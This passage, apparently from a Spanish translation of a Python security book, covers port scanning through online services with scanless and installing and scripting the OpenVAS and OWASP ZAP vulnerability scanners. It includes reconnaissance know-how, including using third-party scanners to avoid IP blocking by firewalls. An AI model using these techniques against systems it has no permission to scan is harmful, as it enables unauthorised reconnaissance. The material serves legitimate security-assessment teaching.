Escaneo de puertos a través de servicios en línea
En la fase de descubrimiento de pentesting, es común que al
escanear una IP o un rango de IP con nmap, el firewall/IPS
pueda bloquear su dirección IP y mostrar el puerto como
cerrado o filtrado, lo quepuede dar lugar a un falso negativo, es
decir, a un fallo enDetectar un servicio disponible en Internet.
También podría ocurrir que estés auditando un servicio web y
un WAF detecte una carga útil o un comportamiento que
también restrinja el acceso desde tu dirección IP, lo que podría
considerarse un ataque.
Existen numerosos sitios que permiten realizar un escaneo
remoto de los puertos más comunes en línea. Podemos
comprobar rápidamente si tu dirección IP ha sido bloqueada o
si el servicio está inactivo, sin necesidad de cambiar de
conexión probando diferentes VPN ni realizando solicitudes
anónimas.
Escáner de puertos sin escaneo
Scanless ( https://github.com/vesche/scanless ) es una
utilidad y biblioteca de línea de comandos de Python 3
paraUtilizando sitios web que pueden realizar escaneos de
puertos en su nombre. Como se describe en el proyecto de
GitHub, es una herramienta que puede ejecutarse desde una
terminal o como una biblioteca de Python y utiliza servicios de
Internet para ejecutar los escaneos. Esto significa que se puede
obtener información sobre los puertos abiertos en un objetivo
específico sin interactuar directamente con él. Estas serían
actividades semipasivas y podrían encajar en lo que
conocemos como técnicas OSINT.
Para instalarlo podemos utilizar el código fuente que se
encuentra en el repositorio de GitHub o el siguiente comando:
$ pip install scanless
Ejecutando el script sin parámetros, podemos ver las opciones
que ofrece:
$ scanless
usage: scanless.py [-h] [-t TARGET] [-s SCANNER] [-l] [-a]
scanless, public port scan scrapper
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
ip or domain to scan
-s SCANNER, --scanner SCANNER
scanner to use (default: yougetsignal)
-l, --list list scanners
-a, --all use all the scanners
Con la -lopción, podemosy ver los escáneres que tenemos
disponibles:
$ scanless -l
+----------------+--------------------------------------+
| Scanner Name | Website |
+----------------+--------------------------------------+
| hackertarget | https://hackertarget.com |
| ipfingerprints | https://www.ipfingerprints.com |
| pingeu | https://ping.eu |
| spiderip | https://spiderip.com |
| standingtech | https://portscanner.standingtech.com |
| viewdns | https://viewdns.info |
| yougetsignal | https://www.yougetsignal.com |
+----------------+--------------------------------------+
Con el -sparámetro, podemos ejecutar el escaneo utilizando un
servicio en línea específico:
$ scanless -t scanme.nmap.org -s ipfingerprints
Running scanless v2.1.6...
ipfingerprints:
Host is up (0.14s latency).
Not shown: 484 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp filtered rpcbind
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
Device type: general purpose|WAP|storage-misc|media device|
webcam
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (92%), Ubiquiti
embedded (92%), HP embedded (89%),
Infomir embedded (89%), Tandberg embedded (89%), Ubiquiti
AirOS 5.X (88%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
cpe:/o:linux:linux_kernel:2.6.32 cpe:/h:ubnt:airmax_nanostation
cpe:/o:linux:linux_kernel:4
cpe:/h:hp:p2000_g3 cpe:/h:infomir:mag-250
cpe:/o:ubnt:airos:5.5.9
Aggressive OS guesses: Linux 2.6.32 - 3.13 (92%), Ubiquiti
AirMax NanoStation WAP (Linux
2.6.32) (92%), Linux 2.6.22 - 2.6.36 (91%), Linux 3.10 (91%),
Linux 3.10 - 4.2 (91%), Linux
2.6.32 (90%), Linux 3.2 - 4.6 (90%), Linux 2.6.32 - 3.10 (90%),
Linux 2.6.18 (89%), Linux 3.16
- 4.6 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 7 hops
Esta herramienta tambiénOfrece la posibilidad de automatizar
el proceso de escaneo mediante la API de Python. En el
siguiente script, usamos la Scanlessclase del scanlessmódulo
para crear una instancia de un objeto que nos permite ejecutar
el scan()método. Puedes encontrar el siguiente código en
el scanless_service.pyarchivo:
import scanless
import json
sl = scanless.Scanless()
print("1.ipfingerprints")
print("2.spiderip")
print("3.standingtech")
print("4.viewdns")
print("5.yougetsignal")
option=int(input("Enter service option:"))
service=''
if option==1:
service="ipfingerprints"
elif option==2:
service="spiderip"
elif option==3:
service="standingtech"
elif option==4:
service="viewdns"
elif option==5:
service="yougetsignal"
output = sl.scan('scanme.nmap.org',scanner=service)
print(output['parsed'])
json_output= json.dumps(output,indent=2)
print(json_output)
En el código anterior, primero importamos el scanlessmódulo y
creamos un objeto con la Scanlessclase.A partir de este objeto,
se ejecuta un escaneo con el objetivo y el servicio mediante
el scan()método. Podríamos ejecutar el script anterior
seleccionando uno de los servicios disponibles. En la siguiente
ejecución, utilizamos el yougetsignalservicio:
$ python scanless_service.py
1.ipfingerprints
2.spiderip
3.standingtech
4.viewdns
5.yougetsignal
Enter service option:5
[{'port': '21', 'state': 'closed', 'service': 'ftp', 'protocol': 'tcp'},
{'port': '22', 'state': 'open', 'service': 'ssh', 'protocol': 'tcp'},
{'port': '23', 'state': 'closed', 'service': 'telnet', 'protocol': 'tcp'},
{'port': '25', 'state': 'closed', 'service': 'smtp', 'protocol': 'tcp'},
{'port': '53', 'state': 'closed', 'service': 'domain', 'protocol':
'tcp'}, {'port': '80', 'state': 'open', 'service': 'http', 'protocol':
'tcp'}, {'port': '110', 'state': 'closed', 'service': 'pop3', 'protocol':
'tcp'}, {'port': '115', 'state': 'closed', 'service': 'sftp', 'protocol':
'tcp'}, {'port': '135', 'state': 'closed', 'service': 'msrpc',
'protocol': 'tcp'}, {'port': '139', 'state': 'closed', 'service':
'netbios-ssn', 'protocol': 'tcp'}, {'port': '143', 'state': 'closed',
'service': 'imap', 'protocol': 'tcp'}, {'port': '194', 'state': 'closed',
'service': 'irc', 'protocol': 'tcp'}, {'port': '443', 'state': 'closed',
'service': 'https', 'protocol': 'tcp'}, {'port': '445', 'state': 'closed',
'service': 'microsoft-ds', 'protocol': 'tcp'}, {'port': '1433', 'state':
'closed', 'service': 'ms-sql-s', 'protocol': 'tcp'}, {'port': '3306',
'state': 'closed', 'service': 'mysql', 'protocol': 'tcp'}, {'port':
'3389', 'state': 'closed', 'service': 'ms-wbt-server', 'protocol':
'tcp'}, {'port': '5632', 'state': 'closed', 'service':
'pcanywherestat', 'protocol': 'tcp'}, {'port': '5900', 'state':
'closed', 'service': 'vnc', 'protocol': 'tcp'}, {'port': '6112', 'state':
'closed', 'service': 'dtspc', 'protocol': 'tcp'}]
El anteriorLa salida devuelve una estructura de tipo diccionario,
que permite acceder a cada resultado del escaneo de forma
ordenada. Finalmente, podemos convertir una estructura de
tipo diccionario a una estructura en formato JSON con
el dumps()método que utiliza el jsonmódulo.
Resumen
Uno de los objetivos de este capítulo fue conocer los módulos
que permiten realizar un escaneo de puertos en un dominio o
servidor específico. Una de las mejores herramientas para
realizar el escaneo de puertos en Python es python-nmap, un
módulo que sirve como contenedor para el nmapcomando.
Como hemos visto en este capítulo, Nmap puede ofrecernos
una visión general rápida de los puertos abiertos y los servicios
que se ejecutan en nuestra red objetivo. El NSE es una de las
funciones más potentes y flexibles de Nmap, lo que lo
convierte en un escáner de vulnerabilidades.
En el próximo capítulo, exploraremos escáneres de
vulnerabilidad de código abierto como OpenVAS y
aprenderemos cómo conectarnos con ellos desde Python para
extraer información relacionada con las vulnerabilidades
encontradas en servidores y aplicaciones web.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué método de la PortScannerclase se utiliza para
realizar exploraciones de forma sincrónica?
2. ¿Qué método de la PortScannerclase se utiliza para
realizar exploraciones de forma asincrónica?
3. ¿Cómo podemos iniciar un escaneo asincrónico en un host
y puerto determinados si inicializamos el objeto con
la self.portScannerAsync =
nmap.PortScannerAsync()instrucción?
4. ¿Cómo podemos iniciar un escaneo sincrónico en un host
y puerto determinados si inicializamos el objeto con
la self.portScanner = nmap.PortScanner()instrucción?
5. ¿Qué función es necesaria definir cuando realizamos
escaneos asincrónicos usando
la PortScannerAsync()clase?
Lectura adicional
Con los siguientes enlaces podrás encontrar más información
sobre las herramientas mencionadas y otras herramientas
relacionadas con la extracción de información de los
servidores:
python-nmap : https://xael.org/pages/python-nmap-
es.html
Scripts de Nmap : https://nmap.org/nsedoc/scripts
Escaneo de puertos SPARTA : SPARTA
( https://github.com/secforce/sparta ) es una
herramienta desarrollada en Python que permite el
escaneo de puertos y la realización de pruebas de
penetración para servicios abiertos. Esta herramienta está
integrada con Nmap para el escaneo de puertos y solicita
al usuario que especifique un rango de direcciones IP para
escanear. Una vez finalizado el escaneo, SPARTA
identificará todas las máquinas, así como los puertos
abiertos o los servicios en ejecución.
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
Sección 4
Vulnerabilidades del servidor y seguridad en aplicaciones web
En esta sección, aprenderá a automatizar el análisis de
vulnerabilidades para identificar vulnerabilidades en servidores
y analizar la seguridad de las aplicaciones web. Además,
explicaremos cómo obtener información sobre vulnerabilidades
de CVE, NVD y bases de datos de vulnerabilidades.
Esta parte del libro comprende los siguientes capítulos:
Capítulo 9 , Interacción con escáneres de vulnerabilidades
Capítulo 10 , Interacción con vulnerabilidades de servidor
en aplicaciones web
Capítulo 11 , Obtener información de la base de datos de
vulnerabilidades
9
Interacción con escáneres de vulnerabilidades
En este capítulo, aprenderemos sobre los escáneres de
vulnerabilidades de OpenVAS y las herramientas de reporte
que ofrecen para informar las vulnerabilidades que
encontramos en servidores y aplicaciones web.
Además,Cubriremos cómo usarlos programáticamente.Con
Python mediante los módulos owasp-zap y python-gvm . Tras
obtener información sobre un sistema, incluyendo sus
servicios, puertos y sistemas operativos, estas herramientas
permiten identificar vulnerabilidades en las diferentes bases de
datos disponibles en internet, como CVE y NVD.
Las dos herramientas que vamos a conocer son aplicaciones de
detección de vulnerabilidades ampliamente utilizadas por
expertos en seguridad informática al realizar tareas de
auditoría que forman parte de un programa de gestión de
vulnerabilidades. Con estas herramientas, junto con la
capacidad de buscar en bases de datos de vulnerabilidades,
podemos obtener información precisa sobre las diferentes
vulnerabilidades presentes en el objetivo que analizamos y, por
lo tanto, tomar medidas para protegerlo.
En este capítulo se tratarán los siguientes temas:
Presentamos el escáner de vulnerabilidades OpenVAS
Acceder a OpenVAS con Python usando el python-
gmvmódulo
Presentamos OWASP Zap como una herramienta
automatizada para pruebas de seguridad
Interactuar con OWASP zap usando Python con el owasp-
zapmódulo
WriteHat como herramienta de informes de pruebas de
penetración escrita en Python
Requisitos técnicos
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Este capítulo requiere la instalación de los módulos owasp-
zapy python-gvm. Puede usar la herramienta de administración
de paquetes de su sistema operativo para instalarlos.
A continuación se muestra una guía rápida sobre cómo instalar
estos módulos en un entorno de sistema operativo Linux
basado en Debian con Python 3 usando los siguientes
comandos:
$ sudo apt-get install python3
$ sudo apt-get install python3-setuptools
$ sudo pip3 install python-gvm
$ sudo pip3 install python-owasp-zap-v2.4
Para los lectores que utilizan otros sistemas operativos como
Windows o macOS, les recomendamos leer los archivos
README individuales en la documentación oficial.
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter09 .
Presentamos el escáner de vulnerabilidades OpenVAS
El Sistema Abierto de Evaluación de
Vulnerabilidades ( OpenVAS ) (disponible
en https://www.openvas.org ) es uno de los sistemas de
escaneo de vulnerabilidades de código abierto más utilizados.y
soluciones de gestión. Esta herramienta está diseñada para
ayudar a los administradores de redes y sistemas en la
identificación de vulnerabilidades y la detección de intrusiones.
OpenVas proporcionaUna Edición Comunitaria que incluye
varios servicios y herramientas para la evaluación de
vulnerabilidades. Una vulnerabilidad es una debilidad o falla en
un sistema. La evaluación de vulnerabilidades es el proceso de
identificar y clasificar las vulnerabilidades presentes en un
sistema o aplicación con el objetivo expreso de...de
remediación. Cualquier herramienta de evaluación de
vulnerabilidades tiene las siguientes características:
Nos permite clasificar los recursos del sistema que
estamos analizando.
Proporciona la capacidad de detectar amenazas
potenciales (vulnerabilidades) para cada recurso
encontrado.
Realiza una clasificación de las vulnerabilidades
detectadas para aplicar posteriormente los parches
correspondientes. Esta clasificación se suele lograr.con un
nivel de gravedad como resultado de algún mecanismo de
puntuación como CVSS ( Sistema de puntuación de
vulnerabilidad común ).
A continuación, vamos a repasar los principales pasos para
instalar OpenVAS en tu sistema operativo.
Instalación del escáner de vulnerabilidad OpenVAS
La forma más rápida de instalar OpenVAS en tu equipo local es
usar Docker. Primero, necesitamos...Instalar Docker y Docker
Compose. Podemos instalar ambos con el siguiente comando:
$ sudo apt install docker.io docker-compose
Una vez instalados ambos, seguir las instrucciones
en https://greenbone.github.io/docs/latest/22.4/containe
r/index.html , donde tenemos el archivo docker-compose.yml,
que generará las imágenes e iniciará los contenedores
necesarios para desplegar la aplicación.
Figura 9.1: OpenVAS Docker Compose
Es posible simplemente copiar y pegar el archivo de Docker
Compose. También se puede descargar con el siguiente
comando:
$ curl -f -L
https://greenbone.github.io/docs/latest/_static/docker-compose-
22.4.yml -o docker-compose.yml
Una vez que hayamos descargado el archivo, podemos iniciar
los contenedores necesarios con el siguiente comando:
$ docker-compose -f $DOWNLOAD_DIR/docker-compose.yml -p
greenbone-community-edition up -d
OpenVAS tiene tres servicios:
Servicio de escaneo : Estees responsable de realizar un
análisis de vulnerabilidades.
Servicio de administrador : Este se encarga de realizar
tareas como filtrar o clasificar.Los resultados del análisis.
Además, este servicio se utiliza para controlar las bases
de datos que contienen las funcionalidades de
configuración y administración de usuarios, incluyendo
grupos y roles.
Servicio al cliente : EsteSe utiliza como interfaz gráfica
web para configurar OpenVAS y presentar los resultados
obtenidos o la ejecución de informes.
Otra opciónPara instalar el servidor OpenVAS en el host local,
se usa una imagen de Docker que se encuentra
en https://immauss.github.io/openvas . Si ya tiene Docker
instalado, basta con descargarlo.la imagen y ejecute el
siguiente comando para ejecutar los servicios en diferentes
contenedores:
$ docker run --detach --publish 9392:9392 -e PASSWORD="Your
admin password here" --volume openvas:/data --name openvas
immauss/openvas
Al finalizar la configuración, se iniciarán todos los procesos
necesarios de OpenVAS y la interfaz web se abrirá
automáticamente. Podemos comprobar si hay un contenedor
ejecutándose en nuestro host local con el siguiente comando:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS NAMES
9d1484c6188d immauss/openvas "/scripts/start.sh" 32
minutes ago Up 32 minutes (unhealthy) 0.0.0.0:9392-
>9392/tcp, :::9392->9392/tcp openvas
La webLa interfaz se ejecuta localmente en un puerto 9392con
SSL y se puede acceder a ella mediante la
URL https://localhost:9392. OpenVAS también configurará y
administrará la cuenta y generará automáticamente una
contraseña para ella.
Comprender la interfaz web
Usando la interfaz gráfica de usuario ( GUI ), ustedPuede
iniciar sesión conel nombre de usuario del administrador y la
contraseña generada durante la configuración inicial:
Figura 9.2: GUI de inicio de sesión de OpenVAS
Una vez iniciada la sesión en la interfaz web, se nos redirige al
panel de control de Greenbone Security Assistant . En este
punto, podemos empezar a configurar y ejecutar análisis de
vulnerabilidades.
Una vez que la interfazUna vez cargado, tiene las siguientes
opciones para configurar e iniciar el escáner y administrador de
OpenVAS:
Figura 9.3: Panel de control de OpenVAS
El usuarioLa interfaz está dividida en diferentes opciones de
menú, de las que destacamos las siguientes:
Panel de control : un panel de control personalizable
que presenta información relacionada con la gestión de
vulnerabilidades, hosts escaneados, divulgaciones de
vulnerabilidades publicadas recientemente y otra
información útil.
Escaneos : Le permite crear nuevas tareas de escaneo o
modificar las creadas previamente
Activos : enumera los hosts que se han analizado junto
con la cantidad de vulnerabilidades identificadas
SecInfo : almacena información detallada sobre todas las
vulnerabilidades y sus ID CVE
Configuración : Permite configurar los objetivos, asignar
credenciales de acceso, configurar el escaneo (incluida la
selección de NVT y los parámetros generales y específicos
para el servidor de escaneo), programar escaneos y
configurar la generación de informes.
Administración : Le permite administrar los usuarios,
grupos y roles que rigen el acceso a la aplicación.
Ahora queHemos instalado OpenVAS y entendemos su interfaz,
es hora de que aprendamos a usarlo para escanear objetivos.
Escanear un objetivo usando OpenVAS
El procesoEl proceso de escaneo de un objetivo se puede
resumir en las siguientes fases:
1. Creando el objetivo
2. Creando la tarea
3. Programar la tarea para que se ejecute
4. Analizando el informe
Para crear un objetivo, utilice la pestaña Configuración .
Figura 9.4: Configuración de destinos OpenVAS
Para crear una tarea, utilice la pestaña de opciones Escaneos .
Figura 9.5: Escaneos de tareas OpenVAS
Lo haremosRealice estos pasos en las siguientes subsecciones.
Creando el objetivo
Para crearPara el objetivo, haga clic en el icono con una estrella
blanca sobre fondo azul. Se abrirá una ventana con los
siguientes campos:
Figura 9.6: Ventana Nuevo destino de OpenVAS
En el primer paso, es necesario configurar el objetivo que
queremos escanear. Desde el objetivo...En el submenú de la
pestaña Configuración , podemos definir un host o un rango
de hosts. Aquí, debe realizar las siguientes selecciones:
Dado el nombre del objetivo, puede marcar la
opción Manual e ingresar la dirección IP en el
cuadro Hosts .
En el campo Hosts , podemos ingresar la dirección de un
host, por ejemplo: 10.0.0.129; un rango de hosts, por
ejemplo: 10.0.0.10-10.0.0.129; un rango de hosts en
formato corto, por ejemplo: 192.168.200.10-50; hosts con
notación CIDR, por ejemplo: 10.0.0.0/24; e incluso
nombres de host.
En el campo de lista de puertos, podemos introducir una
lista de puertos utilizados para el proceso de escaneo.
OpenVAS ya incluye una serie de plantillas con los puertos
más comunes. Por ejemplo, podríamos seleccionar todos
los puertos TCP y UDP incluidos en el estándar IANA. En el
menú desplegable "Lista de puertos", podemos elegir los
puertos que queremos escanear, aunque sería
recomendable analizar todos los puertos TCP y UDP. De
esta forma, podríamos obtener los puertos abiertos para
servicios con y sin conexión.
Podemos agregar diferentes destinos, ya sean rangos de
IP o equipos individuales, y definir diferentes rangos de
puertos o métodos de detección. También podemos
especificar si queremos comprobar las credenciales para
el acceso por SSH o SMB. Una vez hecho esto,
simplemente haga clic en el botón "Crear" .
Una vez que elUna vez establecida la configuración de destino,
podemos continuar generando una nueva tarea para ejecutar
el análisis y la evaluación.
Creando la tarea
OpenVAS gestiona la ejecución de un escaneo mediante tareas.
Una tarea consta de un objetivo y un escaneo.Configuración.
Por ejecución, nos referimos al inicio del análisis y, como
resultado, obtendremos un informe con los resultados. Las
siguientes son las opciones de configuración para una nueva
tarea:
Figura 9.7: Ventana Nueva tarea de OpenVAS
El siguiente paso sería crear una tarea que nos permita iniciar
el análisis posteriormente. Entre los principales parámetros a
configurar al crear la tarea, destacan los siguientes:
Objetivos de escaneo : En esta opción, se selecciona un
objetivo previamente creado. También puede crear el
objetivo haciendo clic en la opción junto a la lista
desplegable.
Alertas : Podemos seleccionar una alerta configurada
previamente. Las alertas pueden ser útiles para recibir
actualizaciones sobre las tareas. Puede crear una alerta
haciendo clic en la opción que aparece junto a la lista
desplegable.
Programación : Se puede programar una tarea para que
se repita periódicamente o se realice a una hora
específica. En esta opción, podemos seleccionar una
programación ya creada o crear una propia.
Min QoD : Esto se mantienepara una calidad mínima de
detección, y con esta opción, puedes pedirle a OpenVAS
que muestre posibles amenazas reales.
Escáner : Podemos seleccionar entre dos
opciones: OpenVAS Default y CVE .
Configuración de escaneo : Esta opción permite
seleccionar la intensidad del escaneo. Si seleccionamos un
escaneo más profundo, podría tardar varias horas en
completarse.
a. El descubrimiento es el equivalente a emitir
un pingcomando a toda la red, donde intenta
averiguar qué computadoras están activas y los
sistemas operativos que se ejecutan en ellas.
2. Completo y rápido realiza un escaneo rápido.
3. Completo y muy profundo es más lento
que Completo y rápido , pero también obtiene
mejores resultados.
Máximo de NVT ejecutados simultáneamente por
host : con esta opción, puede identificar la cantidad de
vulnerabilidades que se probarán para cada objetivo.
Máximo de hosts escaneados simultáneamente :
Con esta opción, puede definir el número máximo de
ejecuciones que se ejecutarán en paralelo. Por ejemplo, si
tiene diferentes objetivos y tareas, puede ejecutar más de
un escaneo simultáneamente.
Figura 9.8: Tareas de escaneo OpenVAS
En la sección Escaneo | Tareas , podemos encontrar el estado
de los diferentes escaneos que se han realizadoYa. Para cada
elemento, podemos ver información sobre el objetivo del
escaneo y las opciones de configuración que usamos para
crearlo.
Análisis de informes
En la sección Gestión de Escaneos | Informes , podemos ver
un listado de informes para cada una de las tareas queSe han
ejecutado. Al hacer clic en el nombre del informe, podemos
obtener una visión general de todas las vulnerabilidades
descubiertas en el objetivo analizado. En la siguiente captura
de pantalla, podemos ver un resumen de los resultados
clasificados por gravedad (alta, media y baja):
Figura 9.9: Informe de análisis resumido de OpenVAS
Para cada unode las tareas en ejecución, podemos acceder a
los detalles, incluida una lista de vulnerabilidades que se han
encontrado.
Figura 9.10: Detalles del informe de análisis resumido de
OpenVAS
Si vamos a analizar los detalles de las vulnerabilidades
detectadas, podemos clasificarlas por nivel de severidad, por
sistema operativo, por host y por puerto, tal y como se muestra
en la captura anterior.
Al hacer clic en el nombre de cualquier vulnerabilidad, se
muestra una descripción general de sus detalles. Los siguientes
detalles corresponden a una vulnerabilidad relacionada con el
uso de credenciales predeterminadas para acceder a la
herramienta OpenVAS Manager:
Figura 9.11: Detalles de la vulnerabilidad OpenVAS
En elEn la pantalla anterior, podemos ver los detalles de las
vulnerabilidades encontradas. Para cada vulnerabilidad,
además de una descripción general del problema, podemos ver
detalles sobre cómo detectarla y cómo solucionarla
(normalmente, esto implica actualizar la versión de una
biblioteca o software específico).
Figura 9.12: Detalles de la vulnerabilidad OpenVAS
OtroUna característica interesante es que puede detectar los
certificados TLS encontrados en los objetivos escaneados.
Figura 9.13: Certificados OpenVAS TLS
OpenVAS proporciona una base de datos que permite a los
investigadores de seguridad y desarrolladores de software
identificar qué versión de un programa soluciona problemas
específicos. Como se muestra en la captura de pantalla
anterior, también podemos encontrar un enlace al sitio web del
fabricante del software con detalles sobre cómo solucionar la
vulnerabilidad.
Cuando elUna vez finalizada la tarea de análisis, podemos
hacer clic en la fecha del informe para visualizar los posibles
riesgos que podemos encontrar en la máquina que estamos
analizando.
Bases de datos de vulnerabilidades
El OpenVASEl proyecto mantiene una base de datos
de pruebas de vulnerabilidad de red ( NVT ) sincronizada
con servidores para actualizar las pruebas de vulnerabilidad.El
escáner tiene la capacidad de ejecutar estas NVT , compuestas
por rutinas que comprueban la presencia de un problema de
seguridad específico conocido o potencial en los sistemas:
Figura 9.14: La base de datos OpenVAS NVT
En la siguiente captura de pantalla, podemos ver detalles de un
NVT específico registrado en el escáner de vulnerabilidades de
OpenVAS.
Figura 9.15: Detalles de la vulnerabilidad NVT
El OpenVASEl proyecto también mantiene una base de datos de
CVE (la fuente CVE de OpenVAS) que se sincroniza con los
servidores para actualizar las
vulnerabilidades.Pruebas. CVE ( Vulnerabilidades y
Exposiciones Comunes ) es una lista de nombres
estandarizados para vulnerabilidades y otras exposiciones de
seguridad de la información. Su objetivo es estandarizar los
nombres de todas las vulnerabilidades conocidas
públicamente.Vulnerabilidades y exposiciones de seguridad. En
la siguiente captura de pantalla, podemos ver una lista de CVE
registrados en el escáner de vulnerabilidades de OpenVAS.
Figura 9.16: La base de datos OpenVAS CVE
El estándar de nomenclatura de vulnerabilidades CVE
( https://cve.mitre.org ) facilita el intercambio de información
entre diferentes bases de datos y herramientas. Cada
vulnerabilidad listada enlaza a diversas fuentes de información,
así como a los parches disponibles.O soluciones proporcionadas
por fabricantes y desarrolladores. Es posible realizar búsquedas
avanzadas con la opción de seleccionar diferentes criterios,
como el tipo de vulnerabilidad, el fabricante y el tipo de
impacto.
Figura 9.17: Detalles de la vulnerabilidad CVE
En esta sección, hemos revisado las capacidades de OpenVAS
como escáner de vulnerabilidades de código abierto utilizado
para la identificación y corrección de fallos de seguridad. A
continuación, vamos a...para revisar cómo podemos extraer
información e interactuar con el escáner de vulnerabilidades
OpenVAS usando el python-gmvmódulo.
Acceder a OpenVAS con Python
PudimosAutomatizar el proceso de obtención de la información
almacenada en el servidor OpenVAS mediante el python-
gmvmódulo. Este módulo proporcionaUna interfaz para
interactuar con la funcionalidad de análisis de vulnerabilidades
del servidor OpenVAS. Puede obtener más información sobre
este módulo en https://pypi.org/project/python-gvm . La
documentación de la API está disponible en https://python-
gvm.readthedocs.io/en/latest .
Una de las formas más directas de conectarse al servidor desde
Python es usar el socket disponible con uno de los volúmenes
que Docker monta para la aplicación. Para ver los volúmenes
montados, podemos usar el siguiente comando:
$ sudo docker volume ls
DRIVER VOLUME NAME
local greenbone-community-edition_cert_data_vol
local greenbone-community-edition_data_objects_vol
local greenbone-community-edition_gpg_data_vol
local greenbone-community-edition_gvmd_data_vol
local greenbone-community-edition_gvmd_socket_vol
local greenbone-community-edition_notus_data_vol
local greenbone-community-
edition_ospd_openvas_socket_vol
local greenbone-community-edition_psql_data_vol
local greenbone-community-edition_psql_socket_vol
local greenbone-community-edition_redis_socket_vol
local greenbone-community-edition_scap_data_vol
local greenbone-community-edition_vt_data_vol
Para acceder a los detalles del volumen que nos interesa,
podemos utilizar el siguiente comando:
$ sudo docker inspect greenbone-community-
edition_gvmd_socket_vol
[
{
"CreatedAt": "2023-04-27T06:11:46-04:00",
"Driver": "local",
"Labels": {
"com.docker.compose.project": "greenbone-community-
edition",
"com.docker.compose.version": "1.29.2",
"com.docker.compose.volume": "gvmd_socket_vol"
},
"Mountpoint": "/var/lib/docker/volumes/greenbone-
community-edition_gvmd_socket_vol/_data",
"Name": "greenbone-community-
edition_gvmd_socket_vol",
"Options": null,
"Scope": "local"
En la salida del comando anterior, podemos ver la ruta
asociada al socket que necesitamos para conectarnos al
servidor desde nuestro script de Python.
En elSiguiendo el ejemplo, vamos a conectarCon el servidor
OpenVAS en localhost y obteniendo la versión. Puedes
encontrar el siguiente código en
el openvas_get_version_socket.pyarchivo:
from gvm.connections import UnixSocketConnection
from gvm.protocols.gmp import Gmp
# path to unix socket
path = '/var/lib/docker/volumes/greenbone-community-
edition_gvmd_socket_vol/_data/gvmd.sock'
connection = UnixSocketConnection(path=path)
# using the with statement to automatically connect and
disconnect to gvmd
with Gmp(connection=connection) as gmp:
# get the response message returned as a utf-8 encoded
string
response = gmp.get_version()
# print the response message
print(response)
En el código anterior, usamos la UnixSocketConnectionclase
que usa una conexión de socket para conectarse al servidor en
localhost. A continuación, se muestra un ejemplo de la salida
del script anterior, que devuelve un documento XML con la
versión de OpenVAS:
$ sudo python openvas_get_version_socket.py
<get_version_response status="200"
status_text="OK"><version>22.4</version></get_version_res
ponse>
En el siguiente ejemplo, obtenemos información sobre las
tareas, los objetivos, los escáneres y las configuraciones
registradas en el servidor. Puede encontrar el siguiente código
en el openvas_get_information.pyarchivo:
import gvm
from gvm.connections import UnixSocketConnection
from gvm.protocols.gmp import Gmp
from gvm.transforms import EtreeTransform
from gvm.xml import pretty_print
path = '/var/lib/docker/volumes/greenbone-community-
edition_gvmd_socket_vol/_data/gvmd.sock'
connection = UnixSocketConnection(path=path)
transform = EtreeTransform()
with Gmp(connection, transform=transform) as gmp:
version = gmp.get_version()
print(version)
pretty_print(version)
gmp.authenticate('admin', 'admin')
En el primeroparte del código anterior, inicializamosla conexión
con el servidor OpenVAS con el authenticate()método
utilizando credenciales predeterminadas.
En este método, proporcionamos el nombre de usuario y la
contraseña necesarios para la autenticación. En la siguiente
parte del código, utilizamos los diferentes métodos
proporcionados por la API para obtener la información
almacenada en el servidor:
users = gmp.get_users()
tasks = gmp.get_tasks()
targets = gmp.get_targets()
scanners = gmp.get_scanners()
configs = gmp.get_scan_configs()
feeds = gmp.get_feeds()
nvts = gmp.get_nvts()
En la siguiente parte del código, continuamos accediendo a
diferentes métodos que proporcionan a la API información
sobre escáneres, configuraciones, feeds y NVT:
print("Users\n------------")
for user in users.xpath('user'):
print(user.find('name').text)
print("\nTasks\n------------")
for task in tasks.xpath('task'):
print(task.find('name').text)
print("\nTargets\n-------------")
for target in targets.xpath('target'):
print(target.find('name').text)
print(target.find('hosts').text)
print("\nScanners\n-------------")
for scanner in scanners.xpath('scanner'):
print(scanner.find('name').text)
print("\nConfigs\n-------------")
for config in configs.xpath('config'):
print(config.find('name').text)
print("\nFeeds\n-------------")
for feed in feeds.xpath('feed'):
print(feed.find('name').text)
print("\nNVTs\n-------------")
for nvt in nvts.xpath('nvt'):
print(nvt.attrib.get('oid'),"-->",nvt.find('name').text)
Con elCódigo anterior, podemos obtener la
informaciónalmacenada en el servidor OpenVAS relacionada
con tareas, objetivos, análisis y NVT. Podríamos usar esta
información para comprender mejor los objetivos que hemos
analizado y obtener una lista actualizada de NVT para detectar
vulnerabilidades más críticas.
Presentamos OWASP ZAP como una herramienta automatizada
para pruebas de seguridad
OWASP Zed Attack Proxy ( ZAP ) es unEscáner de
aplicaciones web, un proyecto emblemático desarrollado y
mantenido por la fundación OWASP. Esta herramienta...Ofrece
una amplia gama de funciones para pruebas de penetración y
análisis de seguridad, y se considera la herramienta más
utilizada a nivel mundial para pruebas de vulnerabilidad de
aplicaciones web. ZAP es un proyecto de código abierto
disponible para los sistemas operativos Windows, macOS y
Linux. Puede obtener la última versión
en https://www.zaproxy.org/download/ .
Figura 9.18: Instaladores de OWASP ZAP
Si ustedSi trabajas con un sistema operativo Linux, puedes
descargar el siguiente archivo
( https://github.com/zaproxy/zaproxy/releases/download/
v2.12.0/ZAP_2.12.0_Linux.tar.gz ) y descomprimirlo tar.gzen
tu ordenador. Al descomprimirlo, obtendrás la siguiente
estructura de archivos:
$ ls -l
drwxr-xr-x 2 linux linux 4096 2 de gen. 1970 db
-rw-r--r-- 1 linux linux 10488 26 de gen. 20:39
hs_err_pid436060.log
drwxr-xr-x 2 linux linux 4096 2 de gen. 1970 lang
